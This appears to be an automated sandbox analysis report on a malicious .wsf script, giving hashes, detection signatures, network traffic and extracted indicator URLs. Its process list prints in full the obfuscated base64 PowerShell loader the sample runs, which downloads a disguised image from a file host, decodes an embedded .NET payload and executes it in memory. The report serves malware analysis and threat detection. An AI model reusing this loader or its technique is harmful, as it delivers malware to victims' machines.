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Analysis
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max time kernel
117s -
max time network
119s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system -
submitted
04/12/2024, 02:31 UTC
Static task
static1
Behavioral task
behavioral1
Sample
4e176fd538ca3aade9d71291f18cbe73022c88dd19e29fba250a6d0a9137be17.wsf
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
4e176fd538ca3aade9d71291f18cbe73022c88dd19e29fba250a6d0a9137be17.wsf
Resource
win10v2004-20241007-en
General
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Target
4e176fd538ca3aade9d71291f18cbe73022c88dd19e29fba250a6d0a9137be17.wsf
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Size
3KB
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MD5
2351b140cfa13f0cf05f93b471edd1f6
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SHA1
aab24f356405a117ce7df0016b131872fb1b2f16
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SHA256
4e176fd538ca3aade9d71291f18cbe73022c88dd19e29fba250a6d0a9137be17
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SHA512
bb7e68724ba4e4169e90b0ff3d6379dda43c0d01bf1e26b91211a124833317a4741bb6c5f0c3e97bcc79f8d01460bb09b6cf963c2f39890b7063ddd1b74f0085
Malware Config
Extracted
https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg%20
https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg%20
Signatures
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Blocklisted process makes network request 4 IoCs
flow pid Process 3 2360 WScript.exe 4 2360 WScript.exe 8 2352 powershell.exe 10 2352 powershell.exe -
pid Process 2352 powershell.exe -
Script User-Agent 2 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 3 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 4 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 2352 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 2352 powershell.exe -
Suspicious use of WriteProcessMemory 3 IoCs
description pid Process procid_target PID 2360 wrote to memory of 2352 2360 WScript.exe 31 PID 2360 wrote to memory of 2352 2360 WScript.exe 31 PID 2360 wrote to memory of 2352 2360 WScript.exe 31
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\4e176fd538ca3aade9d71291f18cbe73022c88dd19e29fba250a6d0a9137be17.wsf"1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2360 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $originador = 'aWYgKCRudWxsIC1uZSAkUFNWZXJzaW9uVGFibGUgLWFuZCAkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIC1uZSAkbnVsbCkgeyBbdm9pZF0kUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIH0gZWxzZSB7IFdyaXRlLU91dHB1dCAnUG93ZXJTaGVsbCB2ZXJzaW9uIE5vdCBhdmFpbGFibGUnIH07aWYgKCRudWxsIC1uZSAkUFNWZXJzaW9uVGFibGUgLWFuZCAkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIC1uZSAkbnVsbCkgeyBbdm9pZF0kUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIH0gZWxzZSB7IFdyaXRlLU91dHB1dCAnUG93ZXJTaGVsbCB2ZXJzaW9uIE5vdCBhdmFpbGFibGUnIH07JGFudGl2aXZpc3NlY2Npb25pc3RhID0gJ2h0dHBzOi8vcmVzLmNsb3VkaW5hcnkuY29tL2R5dGZsdDYxbi9pbWFnZS91cGxvYWQvdjE3MzMxMzQ5NDcvYmtscHlzZXlldXQ0aW1wdzUwbjEuanBnICc7JHBsdW1hY2hvID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDskY29udm9jYXIgPSAkcGx1bWFjaG8uRG93bmxvYWREYXRhKCRhbnRpdml2aXNzZWNjaW9uaXN0YSk7JGFjY2VsZXJhdHJpeiA9IFtTeXN0ZW0uVGV4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nKCRjb252b2Nhcik7JGNoaW5jaGFycmF2ZWxobyA9ICc8PEJBU0U2NF9TVEFSVD4+Jzskb2JjZWNhciA9ICc8PEJBU0U2NF9FTkQ+Pic7JHRhc2NhciA9ICRhY2NlbGVyYXRyaXouSW5kZXhPZigkY2hpbmNoYXJyYXZlbGhvKTskbW9jYW1iZWlybyA9ICRhY2NlbGVyYXRyaXouSW5kZXhPZigkb2JjZWNhcik7JHRhc2NhciAtZ2UgMCAtYW5kICRtb2NhbWJlaXJvIC1ndCAkdGFzY2FyOyR0YXNjYXIgKz0gJGNoaW5jaGFycmF2ZWxoby5MZW5ndGg7JGFuZmljYXJwbyA9ICRtb2NhbWJlaXJvIC0gJHRhc2NhcjskYWNhc3VzbyA9ICRhY2NlbGVyYXRyaXouU3Vic3RyaW5nKCR0YXNjYXIsICRhbmZpY2FycG8pOyRlc3R1ZmFkZWlyYSA9IC1qb2luICgkYWNhc3Vzby5Ub0NoYXJBcnJheSgpIHwgRm9yRWFjaC1PYmplY3QgeyAkXyB9KVstMS4uLSgkYWNhc3Vzby5MZW5ndGgpXTskcGlhc3NhYmEgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRlc3R1ZmFkZWlyYSk7JG1lZHVsYW50ZSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoJHBpYXNzYWJhKTskZ3JhZmljYW1lbnRlID0gW2RubGliLklPLkhvbWVdLkdldE1ldGhvZCgnVkFJJyk7JGdyYWZpY2FtZW50ZS5JbnZva2UoJG51bGwsIEAoJzAvZUdwdU4vci9lZS5ldHNhcC8vOnNwdHRoJywgJ2JyYW5kbycsICdicmFuZG8nLCAnYnJhbmRvJywgJ01TQnVpbGQnLCAnYnJhbmRvJywgJ2JyYW5kbycsJ2JyYW5kbycsJ2JyYW5kbycsJ2JyYW5kbycsJ2JyYW5kbycsJ2JyYW5kbycsJzEnLCdicmFuZG8nKSk7aWYgKCRudWxsIC1uZSAkUFNWZXJzaW9uVGFibGUgLWFuZCAkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIC1uZSAkbnVsbCkgeyBbdm9pZF0kUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIH0gZWxzZSB7IFdyaXRlLU91dHB1dCAnUG93ZXJTaGVsbCB2ZXJzaW9uIE5vdCBhdmFpbGFibGUnIH07aWYgKCRudWxsIC1uZSAkUFNWZXJzaW9uVGFibGUgLWFuZCAkUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIC1uZSAkbnVsbCkgeyBbdm9pZF0kUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIH0gZWxzZSB7IFdyaXRlLU91dHB1dCAnUG93ZXJTaGVsbCB2ZXJzaW9uIE5vdCBhdmFpbGFibGUnIH07';$alegorista = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($originador));Invoke-Expression $alegorista2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2352
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Network
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Remote address:8.8.8.8:53Requestpaste.eeIN AResponsepaste.eeIN A172.67.187.200paste.eeIN A104.21.84.67
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Remote address:172.67.187.200:80RequestGET /d/81FCf HTTP/1.1
Connection: Keep-Alive
Accept: */*
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
Host: paste.ee
ResponseHTTP/1.1 301 Moved Permanently
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Location: https://paste.ee/d/81FCf
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4j3UkgAEwXIMvFvM6ubgz8psIRpNCRTpo2HAXijNMGZQkR9LTf2PSomHvNGkvF9Ff3xT%2FrX1jN9T%2FF9XQaRw0HHzJbeh3EOL5FnknnFxFngVHVrSHvpjNMqAhw%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 8ec861476cb063ff-LHR
alt-svc: h3=":443"; ma=86400
server-timing: cfL4;desc="?proto=TCP&rtt=27518&min_rtt=27518&rtt_var=13759&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=173&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
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Remote address:172.67.187.200:443RequestGET /d/81FCf HTTP/1.1
Connection: Keep-Alive
Accept: */*
Accept-Language: en-us
User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
Host: paste.ee
ResponseHTTP/1.1 200 OK
Content-Type: text/plain; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
Cache-Control: max-age=2592000
strict-transport-security: max-age=63072000
x-frame-options: DENY
x-content-type-options: nosniff
x-xss-protection: 1; mode=block
content-security-policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://cdnjs.cloudflare.com https://www.google.com https://www.gstatic.com https://analytics.paste.ee; img-src 'self' https://secure.gravatar.com https://analytics.paste.ee data:; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com https://cdnjs.cloudflare.com; font-src 'self' https://themes.googleusercontent.com https://fonts.gstatic.com; frame-src https://www.google.com; object-src 'none'
CF-Cache-Status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=G2rvIrW5vWkYjYu6h6a3lORMW8ybm%2FjiKAU%2F9QHLzjLW0uw21%2BcSHfMVCR0Tam6reXprctg3Xt3PXb7O4tMCU4ftlgMCXUuqOLuk6fDNHofeJRM12RcIG0wJWw%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 8ec8614a28026412-LHR
alt-svc: h3=":443"; ma=86400
server-timing: cfL4;desc="?proto=TCP&rtt=31198&min_rtt=26190&rtt_var=14908&sent=6&recv=6&lost=0&retrans=0&sent_bytes=2833&recv_bytes=459&delivery_rate=115276&cwnd=253&unsent_bytes=0&cid=c9b75079b782d998&ts=250&x=0"
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Remote address:8.8.8.8:53Requestres.cloudinary.comIN AResponseres.cloudinary.comIN CNAMEion.cloudinary.com.edgekey.netion.cloudinary.com.edgekey.netIN CNAMEe1315.dsca.akamaiedge.nete1315.dsca.akamaiedge.netIN A2.18.108.33
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GEThttps://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpgpowershell.exeRemote address:2.18.108.33:443RequestGET /dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg HTTP/1.1
Host: res.cloudinary.com
Connection: Keep-Alive
ResponseHTTP/1.1 200 OK
Content-Length: 2230233
ETag: "7b9a6708dc7c92995f443d0b41dbc8d0"
Last-Modified: Mon, 02 Dec 2024 10:22:29 GMT
Date: Wed, 04 Dec 2024 02:31:29 GMT
Connection: keep-alive
Cache-Control: public, no-transform, immutable, max-age=2592000
x-request-id: 6f487a4c60d72621f2efeecff85ca20a
Access-Control-Expose-Headers: Content-Length,Content-Disposition,Content-Range,Etag,Server-Timing,Vary,X-Cld-Error,X-Robots-Tag,X-Content-Type-Options
Access-Control-Allow-Origin: *
Accept-Ranges: bytes
Timing-Allow-Origin: *
Server: Cloudinary
Strict-Transport-Security: max-age=604800
X-Content-Type-Options: nosniff
Server-Timing: cld-akam;dur=6;start=2024-12-04T02:31:29.042Z;desc=hit,rtt;dur=31,content-info;desc="width=1920,height=1080,bytes=2230233,o=1,ef=(17)"
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403 B 1.2kB 5 4
HTTP Request
GET http://paste.ee/d/81FCfHTTP Response
301 -
2.7kB 88.7kB 49 83
HTTP Request
GET https://paste.ee/d/81FCfHTTP Response
200 -
2.18.108.33:443https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpgtls, httppowershell.exe54.7kB 2.3MB 1047 1664
HTTP Request
GET https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpgHTTP Response
200
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
70KB
MD549aebf8cbd62d92ac215b2923fb1b9f5
SHA11723be06719828dda65ad804298d0431f6aff976
SHA256b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f
SHA512bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b
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Filesize
181KB
MD54ea6026cf93ec6338144661bf1202cd1
SHA1a1dec9044f750ad887935a01430bf49322fbdcb7
SHA2568efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8
SHA5126c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b